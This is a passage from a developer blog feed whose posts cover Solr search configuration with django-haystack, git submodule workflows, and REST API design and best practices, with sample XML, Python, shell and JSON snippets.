    <str name="distanceMeasure">internal</str>
    <float name="accuracy">0.5</float>
    <int name="maxEdits">2</int>
    <int name="minPrefix">1</int>
    <int name="maxInspections">5</int>
    <int name="minQueryLength">4</int>
    <float name="maxQueryFrequency">0.01</float>
  </lst>
</searchComponent>

And replace the SearchHandler in the same file.

<requestHandler name="/select" class="solr.SearchHandler">
  <lst name="defaults">
    <str name="echoParams">explicit</str>
    <int name="rows">10</int>
    <str name="spellcheck.dictionary">default</str>
    <str name="spellcheck">on</str>
    <str name="spellcheck.extendedResults">true</str>
    <str name="spellcheck.count">10</str>
    <str name="spellcheck.alternativeTermCount">5</str>
    <str name="spellcheck.maxResultsForSuggest">5</str>
    <str name="spellcheck.collate">true</str>
    <str name="spellcheck.collateExtendedResults">true</str>
    <str name="spellcheck.maxCollationTries">10</str>
    <str name="spellcheck.maxCollations">5</str>
  </lst>
  <arr name="last-components">
    <str>spellcheck</str>
  </arr>
</requestHandler>

If the configuration is correct, we will be able to obtain suggestions for our searches as follows.

query = SearchQuerySet().auto_query("<mla ecsrito>")
query.spelling_suggestion() # u'mal escrito'

This allows us to correct small errors in the search, just as if we were using trigrams in Postgres and Django .

Activating this search took me a lot of work, it seems that it is not activated by default and that you have to visit the url with &spellcheck.reload=true to generate the proper index, but who knows, maybe in newer versions it won’t be necessary.

http://127.0.0.1:8983/solr/#/<instancia>/query?q=text:<termino>&q.op=OR&spellcheck=true&spellcheck.q=<termino>&spellcheck.reload=true

Exclusive and exact searches with Solr

Solr allows us to perform advanced searches using the auto_query method, which will allow a search syntax similar to that offered by google and other popular search engines.

Use a hyphen ("-") to exclude results that include those terms.
Use double quotation marks ("") to establish the correct order of words

query = SearchQuerySet().auto_query('<termino> -<excluye>')
otra_query = SearchQuerySet().auto_query('"<orden exacto>" -<excluye>')

Autocomplete with Solr

We can also perform an auto-completion of our search term, so that it will give us some valid suggestions.

For that we first need to create a new field in our class that serves as a search index.

We use any name and generally you will be using a field of type EdgeNgramField, in the same way, we declare the field of our model to which it will make reference, in this case name. The other option is an NgramField field but this is usually used for Asian languages.

class VideogameIndex(indexes.SearchIndex, indexes.Indexable):
    # ...
    name_autocomplete = indexes.EdgeNgramField(model_attr='name')
    # ...

Now in search

SearchquerySet().autocomplete(name_autocomplete='incompl')
# Devolverá resultados para: 'incompleto', 'incompletitud'

Sometimes we want to get more of the same item, this is ideal for product recommendations in online stores. For this there is the more_like_this method, to which we pass an instance of a Django model and it will return similar objects.

But to make it work, we will first add the handler to our solrconfig.xml file in our solr core configuration.

<requestHandler name="/mlt" class="solr.MoreLikeThisHandler">
  <lst name="defaults">
    <str name="mlt.mintf">1</str>
    <str name="mlt.mindf">1</str>
    <str name="mlt.minwl">3</str>
    <str name="mlt.maxwl">15</str>
    <str name="mlt.maxqt">20</str>
    <str name="mlt.match.include">false</str>
  </lst>
  </requestHandler>

It doesn’t matter how you get the instance, or what it is, the important thing is that you get a single instance and pass it as a parameter to the more_like_this method.

instance = Videogame.objects.get(name__icontains="<algo>")
# otro ejemplo: 
# instance = Videogame.objects.get(pk=5)
related = SearchQuerySet().more_like_this(instance)

This was just a summary of some of the most useful functions, for a complete list check the django haystack documentation .

How to implement Solr for searches or queries in Django?

Thu, 26 May 2022 00:00:00 +0000

Previously I explained you how to implement full text search in Django and trigrams-and-search-rank using Postgres. Solr comes to offer us something better, a robust, stable and feature-rich search engine, ready to use, in exchange for a little more complexity, more dependencies and having to include Java (yes, Java) in our project.

How does Solr work?

Internally Solr uses Lucene, which is the search engine that is in charge of generating an index to make the queries and all the options related to the searches, Solr adds some extra functions and gives us a friendly interface to work with. From now on I will refer to the union of Lucene and Solr only as Solr.

Simplifying to the extreme, Solr receives the content of our database (or csv file, pdf, json, xml, etc.) and, using a template or schema (managed schema), generates an inverted index with the information.

Subsequently, when Solr receives a query, it will query the generated index, sort the results according to their relevance and return them.

Inverted index

Solr works with an inverted index. It is quite similar to the index that appears in the back of technical books, in which each topic of the book points to a page; in the indexing of our information tokens are generated and these are related to the documents that contain them.

Token	Documents
Python	1,2
Functional	5,6
Rust	3

Advantages and disadvantages of Solr

Advantages of Solr

Solr has many advanced features, such as autocomplete, suggestions, search by field and others

Solr’s inverted index allows searching through millions of records in milliseconds.
Solr allows you to generate search suggestions for misspellings.
Returns auto-completion suggestions.
Able to perform geospatial searches.
Administration panel with monitoring tools.
Advanced analysis tools.
Support for multiple cores or instances.

Disadvantages of Solr

Very complex configuration.
Configuration parameters change frequently between versions.
It is necessary to keep the index updated after changes in our data.
Requires Java.

Solr installation and configuration

To install it we need to download the appropriate version from the Solr download page . For this entry I will use the following dependencies:

Solr: version 8.9.0
Django: version 4.0.4
Haystack: version 3.2.1

wget https://archive.apache.org/dist/lucene/solr/8.9.0/solr-8.9.0.zip
unzip solr-8.9.0.zip
cd solr-8.9.0/bin

Once unzipped and inside the main solr folder we will find a folder bin/, with the solr binaries.

The binary named solr has the commands stop and start, to stop and start, respectively, solr.

We will use start to execute it and, if no error occurs, we will have an administration panel available on port 8983.

./solr start

Solr control panel screenshot

Cores in Solr

A core is an instance of an index with its own configuration parameters. Solr allows us to work with different cores.

When using solr, we will interact with a kernel, so it is essential to create one in order to perform our queries.

Create a core

To create a new core we will go to the Add Core section and fill in the following information:

name: The name to assign to our kernel.
instanceDir: The name of the instance directory, it must be located inside <solr-x.y.z>/server/solr/ (Does not exist yet)
dataDir: The directory where the generated data will be stored (does not exist yet)
config: solrconfig.xml (We don’t have it yet)
schema: schema.xml (We don’t have it yet)

Form for adding core in Solr

To configure Solr we will create the following structure inside the solr installation folder <solr-x.y.z>/server/solr/<solr_instance_name_dir>/

<instance_name>/
├── conf
│   ├── lang
│   │   └── stopwords_en.txt
│   ├── protwords.txt
│   ├── managed-schema # Our config file
│   ├── solrconfig.xml
│   ├── stopwords.txt
│   └── synonyms.txt
├── data

conf, contains the configuration files of our kernel. We will modify managed-schema later. data, contains the generator indexes of our kernel (right now it is empty).

Get the configuration files.

In order not to start from scratch, we will take the default configuration folder, located at <solr-x.y.z>/server/solr/configsets/_default/conf and move it to the directory of the solr instance.

cp -r <solr-x.y.z>/server/solr/configsets/_default/conf <solr-x.y.z>/server/solr/<instance_directory>/

If we go to the administration panel we should be able to create the core successfully.

Haystack in Django

We now have a working Solr core, with the basic configuration, but we have not connected it to Django.

To connect solr and django we will configure django-haystack .

Django-haystack is a bridge between django and different search engines:

ElasticSearch
Solr
Whoosh
Xapian

It allows us to generate configuration files and interact directly with the engines to generate indexes and perform searches or queries.

Right now we are competing with solr, so first we will install django-haystack and pysolr.

pip install django-haystack==3.2.1 pysolr==3.9.0

Configuring Haystack in Django

Once installed remember to add it to INSTALLED_APPS, before your applications. Also we need to tell Django where it can find the endpoint for solr through the HAYSTACK_CONNECTIONS variable.

# settings.py

INSTALLED_APPS = [
    # ...
    'haystack',
    # tus apps 
]
HAYSTACK_CONNECTIONS = {
    'default': {
        'ENGINE': 'haystack.backends.solr_backend.SolrEngine',
        'URL': 'http://127.0.0.1:8983/solr/<core_name>'
    },
}

Using a Django class as the basis for the index

Once installed we need to create a model that serves as the basis for the creation of the solr index. By convention, haystack looks for a file called search_indexes.py, inside our applications.

# app/search_indexes.py

from haystack import indexes
from .models import Videogame

class VideogameIndex(indexes.SearchIndex, indexes.Indexable):
    # MUST BE NAMED text, by convention
    text = indexes.CharField(document=True, use_template=True)
    created = indexes.DateTimeField(model_attr='created')
    # optional field

    # Model to return
    def get_model(self):
        return Videogame

    # queryset to index, you can filter it
    def index_queryset(self, using=None):
        return self.get_model().objects.all()

I explain the structure of the class

text, the most important field, used to generate the index. In this class there must be at least one property with the parameter document=True. created, an optional field that corresponds to a property called created of our model (model_attr=‘created’). get_model, the model to return. index_queryset, the queryset to index, you can customize it with filters, partition it or as you like.

Use another name instead of text

The name text is a convention used by haystack, to use a field name other than text we create the variable HAYSTACK_DOCUMENT_FIELD in settings.py.

HAYSTACK_DOCUMENT_FIELD = "alternative_name"

Creating a template for the text field

After creating our template class for the index we will need to tell it what the text field will contain, we will do this using a Django template.

Make sure you have set your TEMPLATES variable in settings.py.

TEMPLATES = [
    {
        'BACKEND': 'django.template.backends.django.DjangoTemplates',
        'DIRS': ["<template_directory>"],
        # ...
    }
]

Haystack will automatically detect a file inside the templates directory we use in Django, with the following path and use it as a base.

<template_directory>/search/indexes/<app_name>/<model_name>_text.txt

We will fill this file with the same syntax as a normal Django template.

{{ object.name }}

Generating a managed_schema

After creating the template we will proceed to generate the managed_schema file, necessary to create the index, using the build_solr_schema command provided by django-haystack.

python3 manage.py build_solr_schema > managed_schema

Notice how I redirect the output of the command to a file named managed_schema.

This file is the one we will replace in our solr configuration.

First we back up the configuration.

mv <solr-x.y.z>/server/solr/<instance_directory>/conf <solr-x.y.z>/server/solr/<instance_directory>/conf/_managed_schema.old

It is now safe to move the configuration.

mv managed_schema <solr-x.y.z>/server/solr/<instance_directory>/conf

Solr version +8.x and Django-haystack settings

Since we are using the newest version of solr django-haystack (3.2.1) only supports up to solr version 6.x, we need to make some modifications to the code in the managed_schema file we just copied to the solr configuration. You know, “incompatibilities”. If you are using other newer versions of haystack you probably don’t have to do this anymore.

Locate the line:

<!-- <solr-x.y.z>/server/solr/<instance_directory>/conf/managed_schema -->
<field name="django_ct" type="string" indexed="true" stored="true" multiValued="false"/>

Replace it with your version of type=“text_general”:

<!-- <field name="django_ct" type="string" indexed="true" stored="true" multiValued="false"/> -->
<field name="django_ct" type="text_general" indexed="true" stored="true" multiValued="false"/>

This will prevent an error where the search result is treated as a list instead of as text.

Another change, before the closing of the last schema tag we add the following content

<!-- START Manually inserted snippet -->
<!-- Lines required to handle floats, long points, date points, etc. -->
<fieldType name="pdate" class="solr.DatePointField" docValues="true"/>
<fieldType name="pdates" class="solr.DatePointField" docValues="true" multiValued="true"/>
<fieldType name="pdouble" class="solr.DoublePointField" docValues="true"/>
<fieldType name="pdoubles" class="solr.DoublePointField" docValues="true" multiValued="true"/>
<fieldType name="pfloat" class="solr.FloatPointField" docValues="true"/>
<fieldType name="pfloats" class="solr.FloatPointField" docValues="true" multiValued="true"/>
<fieldType name="pint" class="solr.IntPointField" docValues="true"/>
<fieldType name="pints" class="solr.IntPointField" docValues="true" multiValued="true"/>
<fieldType name="plong" class="solr.LongPointField" docValues="true"/>
<fieldType name="plongs" class="solr.LongPointField" docValues="true" multiValued="true"/>
<!-- Manually inserted snippet END -->

This will prevent errors related to missing pdate, pdates, plongs and other fields.

The last change, move the currency.xml file in the solr examples to our configuration folder.

mv <solr-x.y.z>/example/example-DIH/solr/solr/conf/currency.xml <solr-x.y.z>/server/solr/<instance_directory>/conf

This will avoid an error due to the lack of fields for currency management.

Generate an index in solr

Before we continue, we need to reload our kernel in the Solr admin panel so that it recognizes the changes we made to the configuration.

Now it is time to generate an index with the rebuild_index command provided by django-haystack.

python manage.py rebuild_index

WARNING: This will irreparably remove EVERYTHING from your search index in connection 'default'.
Your choices after this are to restore from backups or rebuild via the `rebuild_index` command.
Are you sure you wish to continue? [y/N] y

If everything went well we will have all our queryset indexed and we will be able to perform a query in the query section of our kernel, in the administration panel.

The query will return all results in JSON format if we do not specify anything.

Notice how the text field is filled with the content of our django template.

Text search with haystack and solr in Django

With the index formed and solr running, we can perform queries directly to solr using haystack and Python code, either to return them in JSON format or to generate HTML with Django’s native template system.

from haystack.query import SearchQuerySet
from .models import Videogame

def vista(request):
    results = SearchQuerySet().models(Videogame).filter(content='<query text>').load_all()
    # ...

With the above I will end this post, probably in the next post I will talk a little more about the advanced search functions offered by django haystack.

Understand How Git Submodules Works and its Workflow

Wed, 18 May 2022 00:00:00 +0000

A git submodule is a record within a git repository that points to a commit in an external repository. They are handled exactly as you would with a repository, they even have a .git file that points to the location where a changelog is kept.

Simplified outline of git submodules

git submodules are useful when we want to incorporate third-party code into a project and at the same time we want to keep strict control of the updates of that code through git. For example:

A shared repository for a theme or styles (As in SSG, Hugo).
A third-party library.
A repository that you want to use to create a Dockerfile in Docker .

On the other hand, using git submodules makes repository management quite complicated if you are not careful or if you work with many submodules, you have to pay attention to the context you are in and remember all the time the repository you are in.

Adding a git submodule to a git repository

To start using a submodule in an existing repository (our main repository) we use the command git submodule add, placing first the url of the submodule and then the folder where we want the submodule to be located.

If the directory does not exist it will be created.

git submodule add <url> <destination>

The above command will copy the url <url> code into the specified <destination> directory.

Structure of a git submodule

After adding a submodule to a repository a new file (not a directory) named .git will be created inside the submodule folder of our repository.

.
├── .gitignore
├── .gitmodules
├── <destination>
│   ├── .git
│   ├── .gitignore
│   ├── app
│   │   ├── files.js

Depending on the repository you choose as a submodule, you will also see its own .gitignore file.

The .gitmodules file

In addition to copying the code from the remote repository into the target folder, git will create a .gitmodules file in the root of our main repository. This file stores the references to the submodule(s) of our repository.

Each of these submodules specifies its path, relative to the repository root, the url and the branch (optional).

[submodule <destination>]
    path = <destination>
    url = <repository-url>
    [branch = <branch>]

This file is important because it is a reference to the submodules that our project needs to work.

Schematic of git submodules operation

The contents of a submodule’s .git file

What does the submodule contain? If you go into any submodule, you will see that it has a file named .git.

cd <destination>
ls -la 
.rw-r--r--   31 user 14 may 09:49 .git
# ...

If you check the contents of this file with the cat command , you will see that it is a path pointing to the .git/modules folder in our main repository. This is how git can keep track of submodules directly in the main repository.

cat .git
gitdir: ../.git/modules/<submodule>

And what’s at that location? In that location are the files with which git manages a repository internally, they keep the same structure as the ones inside the .git folder of your main repository.

Git treats submodules as individual repositories.

A submodule is handled in exactly the same way as a normal repository.

If you run the git status command inside a submodule, you will see that we are inside a different repository than the main one.

git status
on main branch
Your branch is updated with 'origin/main'
# ...

Within the submodule you can perform checkouts, create branches, even commits and pushes. All these changes will be made in the submodule repository, not in the main repository.

Git treats each submodule as if it were a separate repository, so each version of your main repository corresponds to a version of the submodule.

Workflow of git submodules

Every time you make a change within your submodule you must push the changes and then update the reference from the main repository to the submodules.

What happens if you don’t? Well this is where the nightmare of all the people who hate submodules begins, you will be working on the latest version of the submodule, while your colleagues will be working on the old version.

Steps to save changes in a git submodule

How to solve it? With these three steps

Save the changes (commit) and push them to your submodule.
Return to your main repository.
Save the changes (commit) and push to your main repository.

# Modifying submodule
git add <files>
git commit -m "submodule's commit message"
git push

# Returning to your main repository.
cd <main-repository>

# Save the changes (commit) and push to your main repository.
git add .gitmodules <files>
git commit -m "Update to new submodule version"
git push

The important thing to remember here is that we must always update changes to both the submodule and the main repository.

Initializing a repository with a git submodule in git

What if instead of adding a submodule with git add submodule, we clone a project that has a .gitmodules file?

When cloning a repository that has submodules, git clones only the main repository, without including the content of the submodules.

git clone <repo-with-submodules>

Check it, navigate inside the submodule folders and you will see that they are empty.

For git to download the content of the submodules we need to initialize, with –init the submodules with the following command:

git submodule update --init --recursive

The –recursive option will take care of initializing all the submodules of the main repository.

Updating a repository with submodules in git

What if we do a pull of our main project?

As I mentioned to you earlier, each version of your main project corresponds to a version of the submodule, so if the version of your project changed, the submodule it points to may have changed.

Also, in git, submodules are not automatically updated when you update the main repository.

If there were changes in your main repository and you do a git pull it is your obligation to update the submodules up to the most recent commit of the remote submodule code:

git submodule update --recursive --remote

With the above I conclude the article, if you found it useful you can share it on your favorite social networks.

REST API: Best practices and design

Thu, 28 Apr 2022 00:00:00 +0000

How do I design a REST API? How many levels should I nest my related resources? Relative or full URLs? This post is a compilation of some recommendations about some good REST API design practices that I have found in books and articles on the internet. I leave the sources at the end of the article in case you are interested in going deeper or see where this information comes from.

Before we get started, there are a number of basic features of a REST API , which I laid out in a previous post, check them out if you have questions. In this post I’m going to talk a bit about some more subjective aspects related to REST API design.

Remember that a REST API can return other formats, not just JSON, but I’m going to focus on this one for the examples because it’s quite popular.

I’m going to start with a fairly common question: how do I structure my JSON response?

Structure for JSON responses

There are different ways to structure the response of a REST API. There is no valid or invalid one, it depends on the taste of each team and the needs of the application. The important thing here is to maintain consistency and homogeneity in all your responses.

According to json:api

There is a group of people who set out to standardize JSON responses into a single response style, either for returning single or multiple resources. You can take their style as a reference when designing their API to ensure uniformity of responses.

{
    "products": [{
        "id": 1,
        "title": "title"
    }]
}

Twitter style API

Twitter has its own way of doing things, the response from an individual resource looks like this:

{
  "id":1,
  "title":"title"
}

For multiple resources, Twitter decided to include them within an array.

[
  {
    "id":1,
    "title":"title"
  },
  {
    "id":2,
    "title":"title"
  }
]

Facebook style API

On the other hand, on Facebook, the syntax for individual resources looks like this, just like Twitter:

{
    "id": 1,
    "title": "title"
}

While an answer for multiple resources is like this:

{
  "data":[
    {
      "id": 1,
      "title": "title"
    },
    {
      "id": 2,
      "title": "title"
    }
  ]
}

Who to listen to? As you can see there are differences between companies and I don’t know if I would dare to tell you that one or the other is correct, but I consider that if you keep constant in each of your endpoints and document it well, you shouldn’t have any problems.

Relative or full URLs in HATEOAS?

Remember that HATEOAS is a feature of REST APIs ? Well, from what I’ve researched, there’s no clear consensus or official stance on whether it’s better to include relative or full URLs. There is a lot of debate about it on stackoverflow, but microsoft uses full URLs in their responses, take it into account when designing your REST API.

{"rel":"self",
    "href":"https://adventure-works.com/customers/2"}

Objects nested in the response

Generally an API does not return individual resources, but resources that are related to other resources at the database level by one-to-one, many-to-many or one-to-many relationships. The question here is: do we include them in the response even if this increases its size? do we put only the identifiers and download them afterwards? It depends.

Identifiers in the response

This approach to the problem will require that if the user requires access to the information, it is downloaded at a later time. It is ideal for data that is rarely consulted or plentiful.

{
    "posts": [{
        "id": 1,
        "title": "title",
        "comments": [2,3,4]
    }]
}

This can bring you the problem of n+1 queries if you don’t handle it well; consider the example above, each request to a post implies a new request to the database to get each comment.

Of course that can be fixed by optimizing your searches so that, instead of getting them individually, you get them in a single query.

GET /comments/2,3

Resources in the response

It is also possible to directly add the related objects in a single response, to avoid having to download them later. This will make each response take a little longer, as the server will process more information, but it can save subsequent requests to the API.

{
    "posts":[
      {
        "id":1,
        "title":"title",
        "comments":[
          {
            "id":2,
            "text":"..."
          },
          {
            "id":3,
            "text":"..."
          },
          {
            "id":4,
            "text":"..."
          }
        ]
      }
    ]
  }

If you want flexibility consider creating an endpoint where you can tell your API which resources you want to explicitly nest in the url, so that they are only integrated into the response if they are requested.

GET /posts/1?embed=comments

Pagination in APIs

As I’ve already mentioned in previous posts when I talked how to scale a django app , you don’t always want to return the whole database to your users in each request. For large databases it is best to break the response into pages, with a limited number of items per page.

To facilitate the use of your API, consider adding pagination-related information in your response:

The total number of items
The number of elements per page
The total number of pages
The current page A url to the previous page (if any) * A url to the next page (if any) A url to the next page (if any) * A url to the next page (if any)

As well as any other information you consider relevant.

{
    "data": [
         {}
    ],
    "pagination": {
        "total": 60,
        "items_per_page": 12,
        "current_page": 1,
        "total_pages": 5,
        "next_url": "https://api.example.com/items?page=2",
    }
}

API Versioning

APIs are not static, they change with business needs, so they can change over time. It is important that the consumers of your API are aware of these changes, so versioning your API is an excellent idea.

Should I version my API?

Generally you will want to version your API. However, if your API is extremely simple and its structure is extremely stable, or it works in such a way that changes are added as new endpoints, without modifying the old ones, you could leave it unversioned. If you have doubts about whether your API fits into the above, you should probably version it.

Where to version the API?

For an API to adhere to the REST architecture requirements it must meet certain characteristics, but some companies choose to bypass these requirements for their APIs and still call them REST.

Here are some options for versioning your APIs used by large companies, regardless of whether they are REST compliant or not.

At url level

Probably the most popular option of all.

Incredibly simple to understand and implement but will cause you problems with clients who store URLs in a database, because with every change you will have to update them. Also, it’s hard to separate them on different servers. Technically, putting the version in the url is not REST.

Examples of companies: Twitter, dropbox, youtube, etsy.

http://dominio.com/api/v1/

Domain level

Quite simple to understand and implement but will bring problems to those customers who store urls in database. Again, technically, placing the version in the domain is not REST.

Examples of companies: Twitter, dropbox, youtube, etsy.

http://apiv1.dominio.com

By means of parameters in the url or in the body

It keeps the same url, only the parameters change. It brings problems with clients that save the urls and their parameters in the database. Technically using parameters for API versioning is not REST.

Examples of companies: Google data, Paypal.

http://apiv1.dominio.com/resource?version=1

In the HTTP request body it would look like this:

POST /places HTTP/1.1
Host: api.example.com
Content-Type: application/json

{
    "version" : "1.0"
}

Through HTTP headers

Retains the same urls but may confuse caching systems.

Example companies: Azure.

GET /resources HTTP/1.1
Host: example.com
ApiVersion: 1.0
Vary: ApiVersion

Consider that you need to add a vary header so that the caching systems do not store different versions of the API in the same url.

In the content negotiation

Remember that mechanism defined in the HTTP protocol that allows you to obtain different versions of a resource? Well, in addition to applying to formats, it can be used to specify versions.

Keep the same urls, it can confuse developers who do not understand headers.

Examples of companies: Github, Adidas.

application/vnd.github[.version].param[+json]

In REST one thing are the resources and another their representation, the resources, in addition to the format, have another form of representation, which is the API version, so this way does comply with REST. Although its use can be a little more confusing for people unfamiliar with the HTTP protocol.

How much nesting of API resources?

When we have relationships between our resources, it is a good idea for SEO to create a hierarchal structure , however it could be tempting making it unnecessarily long.

# /resource/<id>/subresource/<id>/subsubresource/<id>/subsubsubresource ❌
/clients/99/orders/88/products/77/variants ❌

The DRF documentation suggests a flat structure when designing APIs.

The white house API standards guide also advocates for succinct nesting.

resource/<id>/resource

Microsoft also recommends keeping URIs as simple as possible. But how do I refer to resources deeper in the URL? Well you can create an endpoint with one or two levels of nesting and access them directly.

# /subresource/<id>

Very long URLs, with multiple hierarchies above, can be shortened by accessing them directly using the direct reference to the resource.

Instead of having an endpoint that requires the entire hierarchy in the URI. As in this example:

tienda/99/clients/99/orders/88/products/77

Reduce the length of the endpoint to a minimum, the identifier should be enough to access the resource.

# /subresource/<id>/subsubresource/<id>
/orders/88/products/77

Notice how even in the absence of the initial part of the URI above, we can still access the resource and it is perfectly readable.

Notify about API updates

Sometimes it is necessary to introduce structural changes in the APIs, to prevent all those who consume it from presenting problems, we need to notify them. But… how?

In the book Two Scoops of Django , the authors recommend the following steps for notifying an API version change.

Notify users as far in advance as possible via email, blogs or any other means, almost to the point of boredom.
Replace the deprecated API response with an HTTP 410 error that returns a message containing links to: the new endpoint, the new API documentation and, if it exists, the text explaining why the changes were made.

Limit your API through a throttling policy

You should limit your API. Users should not have unrestricted access and unlimited requests to your API. There are users that can abuse your API, keep your server busy, preventing the rest of the users from using it and increasing your costs.

One way around this is to set a throttling policy on your server for any user.

You can also make it the center of your business and offer payment plans according to the number of requests per minute to your API.

Special characters in the URI

Use only valid characters in your URI.

According to the specification RFC 3986 , the only valid characters, i.e., that do not need to be encoded, in a URI are the basic Latin alphabet letters, digits and some special characters (as long as they are used for their intended purpose).

Secure characters [0-9a-zA-Z]: do not need to be encoded
Non-reserved characters [- . _ ~]: do not need to be encoded
Reserved characters [: / ? # [] @ ! $ & ’ ( ) * + , ;] only need to be encoded if they are not used for their original purpose (e.g. a diagonal not used to separate paths)
Unsafe characters [< > % { } | \ ^ `]: need to be encoded.
All other characters need to be encoded.

The above is changing and they are trying to add many more symbols from different languages, you can read more about it in the w3 idn and iri article .

Consider SEO in your URLs

Search engines consider the URL to rank a web page, if search engine ranking is important to your website, don’t just use identifiers, tell the search engine the topic in the URL. SEO and URLs are a topic too broad to summarize in a few lines, but this should give you an idea of how to search for more information.

/posts/post-title ✅
/posts/99-post-title ✅
/posts/99 ❌

I hope you found the post useful, or at least that it introduced you to material you hadn’t previously considered when designing an API.

Reference sources

REST API basic characteristics and recommendations

Thu, 07 Apr 2022 00:00:00 +0000

This publication is a minimal guide of practical tips on REST API design, what is a characteristic of the REST API? I don’t go too deep into the theory. On top of that, I may oversimplify many concepts in order to keep the text as short and simple as possible.

In the next post I will talk about some more subjective questions such as: how to return JSON correctly, how to nest an API, what are the ways to version a REST API, and what are some of the ways to version a REST API.

What is an API?

The term API stands for application programming interface, and consists of a set of rules that tell us how applications and/or devices can communicate with each other.

There are different types of APIs

There are many types of APIs and new paradigms are appearing all the time, one of them is REST but not the only one.

REST is special because it has managed to survive the passage of time and position itself above the rest (pun not intended), but no one knows what will happen tomorrow, maybe we will rewrite all APIs in Rust.

To this date, there are still protocols that work with POST requests, such as the Model Context Protocol , used the standarise the communication between a client and a LLM.

REST paradigm was created around year 2000

What is a REST API?

A REST API is an API that complies with the REST design standard (Thank you captain obvious!), but what is REST? REST is a style of architecture, which has to comply with a series of characteristics that I will talk about in the next paragraphs.

What are the characteristics of a REST API?

Not all APIs are REST, numerous developers, at all levels, interchangeably use the term REST API to refer to any server that returns JSON or even action-oriented APIs, such as RPC or gRPC , even large companies as Twitter and Facebook do not meet all the characteristics of a REST API, despite advertising their APIs as such.

If you already know the brief technical part, skip this section.

If we want to design a REST API we have to comply with a series of characteristics that define this design style. I summarize them briefly below:

System with client-server architecture. A system consisting of two parts, one that requests information and the other that provides it.
Stateless: The result of a request must not depend on previous requests. That is, the client must provide everything necessary for its processing by the server, and the server must not store any session information.
Cacheable: It must be possible to tag a response as cacheable to reuse it in subsequent similar responses.
Uniform interface for all clients. URIs must ( Not be confused with URL ) refer to resources and each resource must have a unique URI. A resource can be a post, a user, a product, etc. For its part, the server sends representations of the resources (XML, JSON. TXT, etc), never the original resource. The client must be able to modify the original resource from the representation of the resource it receives from the server.
- Access and modification of resources through a URI: Remember that one thing is the resource itself and another is its representation. The client can specify the type of resource (XML, JSON, TXT, etc.) that it wishes to receive from the server.
- Self-describing messages: Each message must have enough information to understand how to process it.
- Use of Hypermedia resources (HATEOAS): the use of hyperlinks in the response that point to the related resources, so that the client can navigate the API from the responses it gets from the server.
Layered system: In REST APIs, requests and responses go through different layers. The client and the server must be agnostic regarding the intermediary layers that exist between their communication.
Code on Demand (optional): the server could send code, in the form of scripts or components, to extend the functionality of the client.

If you want to delve deeper into each of these points, here are some resources that may be quite useful:

In English:

In Spanish, if you’re one of Duo’s friends:

Having summarized the basic features, let’s move on to practical tips.

What are the correct statuses for a REST API?

Do not return a 200 code in all your API responses.

As you know, each HTTP response has a numeric value that defines it, these values can be grouped in ranges from 100 to 600.

Our API must return the correct statuses that tell the client what is happening.

There are probably some states that you will never use, but you should memorize at least the most frequently used ones:

200 OK, status ok, the request was successful.
201 Created, a resource was created
204 No Content, Request completed successfully, but there is no content in the request.
301 Redirect, Permanent redirect
302 Found, temporary redirect
400 Bad Request, server received a malformed request
401 Unauthorized, you are not authenticated (no user)
403 Forbidden, you do not have the proper permissions (the user does not have the permissions)
404 Not Found, the requested resource was not found
500 Internal Server, Error from the server

There are many more HTTP statuses you probably want to know about . Be sure to check them out.

Code 418: I’m a teapot

Returns clear messages on errors

When you return an error, make sure you notify your API user, in a clear and explicit way, about the errors and how to fix them.

{ 
  "error": {
    "type": "Validation Error",
    "code": "Error-0123",
    "message": "La contraseña debe tener más de 6 caracteres y contar con al menos un dígito",
    "documentation_url": "http://example.com/docs/errors/E-0123"
  }
}

Use the appropriate HTTP methods for a REST API

Do not limit yourself to receive only POST and GET requests in your API, there is a method for each action of a CRUD.

The HTTP methods we receive as part of the HTTP request will indicate the instructions to be performed by the server.

GET: Read a resource
POST: Create a resource
PUT: Create a new resource or update it if it already exists.
PATCH: Edit a part of a resource
DELETE: Delete a resource
HEAD: Like GET but without getting the resource.
OPTIONS: Ask the server for supported methods before making a request to them

For details on each method consider reviewing the official documentation on HTTP request methods .

Use plural nouns, not verbs for URIs.

A REST API is a representation of resources, so we always refer to objects, plural.

Actions are specified in HTTP methods, so leave them out of your URIs.

# NOT REST ❌
/create-videogame # This is not REST, but RPC ❌
videogame/create # This is not REST, but RPC ❌
videogame/delete # This is not REST, but RPC ❌

For the sake of clarity we will use the plural form of nouns to refer to resources.

# Incorrect, singular ❌
videogame 
# correct way ✅
videogames

Avoid underscores and always use lower case.

In Mark Masse’s Rest API Design Rulebook: Designing Consistent Restful Web Service Interfaces , he states as a “rule” the use of lower case in URIs and encourages the avoidance of underscores, because some devices highlight clickable resources with underscores, which can make links difficult to see.

VIDEOGAMES❌
popular_videogames❌
videogames✅

Diagonal at the end or not?

There are some mixed opinions on this.

In the Rest API Design Rulebook: Designing Consistent Restful Web Service Interfaces, the use of a diagonal at the end of URls is strongly discouraged.

Where does the diagonal at the end come from? Historically the non-diagonal version has been used to refer to files.

videogames

While a diagonal at the end refers to directories.

videogames/

On the other hand, google is more permissive in its article slash or not to slash . And it is totally indifferent towards the use or absence of the end diagonal, however it emphasizes the importance of remaining uniform in its use, since URLs with an end diagonal and without end diagonal are considered different URLs by search engines.

Pick one and stick to it. Consider using a redirect (301) from one type of url to another, but always be consistent.

Diagonal at the end in the root

In the root address it does not matter if a diagonal is placed at the end.

The root URLs are treated as one by search engines, whether they are diagonal or not, so make sure they return the same content.

https://yourdomain.com/
https://yourdomain.com

Extensions in the url should be absent

Do not use the URI to specify the type of resource requested by its extension. Remember that one thing is the resource itself and another is its representation.

/resource.txt❌
/resource.json❌
/resource.xml❌

So how do I request a file type in a REST API?

The customer requests the type of representation by means of headers.

The representation of the resource to be returned will depend on the Accept header of the client, so we can return different types of representations of the same resource, in the same URI.

GET /v1/resource HTTP/1.1
Host: api.example.org
Accept: application/json

*GET /v1/resource HTTP/1.1
Host: api.example.org
Accept: application/xml

HATEOAS and its relationship with REST APIs

HATEOAS stands for Hypermedia As The Engine Of Applicaton State.

What is it? When you enter a web page, it has internal links to other pages of the website, usually related to each other, either video, audio, images, so that navigation is more fluid.

Example of internal links in a web page

HATEOAS tells us that our clients should receive an API response from which they can access other related resources via hyperlinks.

This does not necessarily mean a URL’s; it can be a file, an ftp or others. But yes, probably for practical purposes you will be using URL’s most of the time.

In other words, our API must be navigable directly from a response, it should also show us available actions.

{
    "id": 1,
    "name": "Eduardo",
    "lastname": "Zepeda",
    "posts": [
        {
            "post": "http://api.example.org/post/1"
        },
        {
            "post": "http://api.example.org/post/2"
        }
    ]
}

How to document your REST API

Every API should be documented. Documentation should be clear and easy to understand. Fortunately, there are already solutions that save a lot of work, allowing you to document the most basic aspects of your API automatically.

